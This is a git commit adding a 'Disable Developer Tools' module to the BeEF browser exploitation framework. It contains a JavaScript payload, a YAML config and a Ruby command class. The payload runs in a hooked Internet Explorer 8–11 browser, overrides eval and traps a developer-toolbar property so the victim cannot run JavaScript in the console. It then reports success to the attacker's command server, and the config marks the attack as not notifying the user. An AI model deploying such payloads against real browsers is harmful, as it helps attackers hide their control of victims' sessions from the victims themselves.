Add Disable Developer Tools module

This commit is contained in:
Brendan Coles
2015-12-13 22:01:43 +00:00
parent 0226a91048
commit 49f648c0c7
3 changed files with 67 additions and 0 deletions

View File

@@ -0,0 +1,33 @@
//
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
// Uses this technique by KSpace:
// http://kspace.in/blog/2013/03/12/ie-disable-javascript-execution-from-console/
var _eval = eval,
evalError = document.__IE_DEVTOOLBAR_CONSOLE_EVAL_ERROR,
flag = false;
Object.defineProperty( document, "__IE_DEVTOOLBAR_CONSOLE_EVAL_ERROR", {
get : function(){
return evalError;
},
set : function(v){
flag = !v;
evalError = v;
}
});
eval = function() {
if ( flag ) {
throw "";
}
return _eval.apply( this, arguments );
};
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=attempted to disable developer tools");
});

View File

@@ -0,0 +1,20 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
disable_developer_tools:
enable: true
category: ["Browser", "Hooked Domain"]
name: "Disable Developer Tools"
description: "This module prevents users from executing JavaScript within the Internet Explorer Developer Tools console."
authors: ["bcoles", "KSpace"]
target:
user_notify:
IE:
min_ver: 8
max_ver: 11
not_working: ["All"]

View File

@@ -0,0 +1,14 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Disable_developer_tools < BeEF::Core::Command
def post_execute
content = {}
content['result'] = @datastore['result']
save content
end
end